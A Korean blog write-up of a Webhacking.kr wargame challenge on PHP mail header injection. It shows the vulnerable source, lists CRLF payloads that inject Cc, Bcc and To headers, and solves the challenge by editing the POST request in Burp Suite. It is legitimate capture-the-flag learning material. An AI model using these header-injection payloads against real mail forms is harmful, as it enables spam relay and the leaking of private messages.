Mail Header injection

*서버문제로 mail함수는 주석처리 해놓은 상태이며 취약점을 공략할 수 있는 구문을 입력했을 때
정답이 출력되도록 하드코딩 해놨습니다.

Mail :


문제는 이렇게 되있다.


소스보기를 했을 때 주석을 통해 index.phps의 존재를 알 수 있다.


index.phps를 통해 소스를 보겟다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<html>
<head>
<title>Challenge 47</title>
</head>
<body>
Mail Header injection
<pre>
<form method=post action=index.php>
<font size=2>Mail</font> : <input type=text name=email size=50 style=border:0 maxlength=50><input type=submit>
</form>
 
<?
if($_POST[email])
{
$pass="????";
$header="From: $_POST[email]\r\n";
mail("admin@webhacking.kr","readme","password is $pass",$header);
echo("<script>alert('Done');</script><meta http-equiv=refresh content=1>");
}
?>
 
</pre>
 
<!-- index.phps -->
 
</body>
</html>
cs


위와 같다.


post방식으로 POST[email]을 입력받는다.


$header="From: $_POST[email]\r\n";

mail("admin@webhacking.kr","readme","password is $pass",$header);


그 뒤 위와 같은 처리를 한다.


php mail함수에 대한 내용은 여기에 있다. 


간단히 요약해 말하면 mail(받난사람, 제목,  내용, 참조(추가헤더정보)) 이다.

그렇다면 위 코드에 따르면 아래와 같이 된다.


받는 사람  : admin@webhacking.kr

제목         :  readme

내용        : password is *****

헤더        : From $_POST[email]\r\n


여기서 mail header injection을 구글 등을 통해 검색해보면 header에 cc 와 bcc 등이 취약하다고 나와있다.

뭐 참고로하기 위해 여러가지 나열해보자면 아래와 같이 있다.


1. 발신자 인수 후 참조 및 숨은 참조 삽입

보낸 사람: sender@domain.com%0ACc: recipient@domain.co.%0ABcc:recipient2@domain.com

이러면 이메일이 받는 사람이외에도 recipient과 recipient2에게도 보내진다.


2. 주입 인자

보낸 사람: sender@domain.com%0ATo: attacker@domain.com

이제 메세지가 원래 수진자와 공격자 계정으로 전송된다.


3. 제목 인수 삽입

위조된 주제의 제목으로 ...

4. 메세지 본문 변경

가짜 메세지를 원본 메세지에 추가하는 인젝션... 


등등... 자세한건 찾아보자!


cc(Carbon Copy, 참조) : 수신자 외 다른 사람에게도 수신

bcc(Blind Carbon Copy, 숨은 참조) : 수진자 외 다른 사람에게도 수신(수신자에게 보이지않음)


우리는 이 header의 내용을 수정할 수 있고 이 cc 옵션을 이용하여 password가 적힌 이메일을 다른 사람에게도 보낼수 있다.

그러므로 이 cc를 이용해 자신에게 이 password가 적힌 내용을 보낼 수 있다.


php mail함수 설명에 따르면 (From, Cc, Bcc) 여러 추가 헤더는 CRLF(\r\n)로 구분해야 합니다.라고 한다.

그러므로 post로 보낼 내용은 밑과 같이 할 수 있다.


TEST@test.test\r\n cc:myemail@tistory.com


참고로 이 문제는 *서버문제로 mail함수는 주석처리 해놓은 상태이며 취약점을 공략할 수 있는 구문을 입력했을 때 정답이 출력되도록 하드코딩 해놨습니다. 라고 하므로 이렇게만 입력해도 정답이 출력될 것이라 본다.


라고 생각했는데 안된다 으그ㅡ.ㅁ.

왜 안되나 생각했는데... mail함수를 주석처리인듯... 취약점을 공략할 수 있는 구문이라 생각했는데 뭐... \r\n이 제대로 안들어가는 듯 ㅠ;


파로스(paros)를 써야겠다. 파로스 사용법은 알아서.... (도구 - 인터넷 옵션 / 연결 - lan설정 - 프록시서버 사용)

아니면 버프슈트(Burp Suite)도 나쁘지 않다. 


버프슈트(Burp Suite) : POST형식으로 전송되는 값을 볼 수 있고, 값도 조작 가능


ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ 여기서 이거 사용하려면 설치하기가 너무 힘들어 ㅁㄴㅇㄹ JDK부터 귀찮아서 일단 뒤로 미룸 ㅡㅡ;;




수정 + 2018.03.25


파로스를 쓰려고 하였다. 결론부터 말하자면 64비트 JDK 안지우면 불가능했다 ㅡㅡ;;

근데 저걸 지우면 내가 지금까지 쓰던 이클립스가 구동이 안된다...

그렇다고 이클립스를 이제와서 32비트로 갈아치우자니 나중에가면 이클립스에 문제가 생길거같아서 하루종일 64비트삭제없이 32비트만 설치해서

구동시키는 법을 알아보았다.

결론은 그런거는 없었다 ㅁㄴㅇㄹ


그래서 버프슈트를 쓰기로 하였습니다.


먼저 프록시 서버를 설정하고 (간편하게 크롬 확장도구로 Falcon Proxy를 사용)


Mail에 아무값이나 집어넣고 제출한것을 Intercept로 잡았습니다.




Post방식으로 보내는 email 파라미터값이 보인다. 이제 저값을 TEST@test.test\r\n cc:myemail@tistory.com와 같이 수정해주자.



그리고 Foward해서 파라미터가 수정된 Request를 보내니 문제가 풀렸다.









'Wargame > 웹해킹(Webhacking.kr)' 카테고리의 다른 글

[Webhacking.kr] 58번  (0) 2017.10.09
[Webhacking.kr] 54번  (0) 2017.09.28
[Webhacking.kr] 39번  (0) 2017.09.28
[Webhacking.kr] 38번  (0) 2017.09.25
[Webhacking.kr] 33번  (0) 2017.09.21

+ Recent posts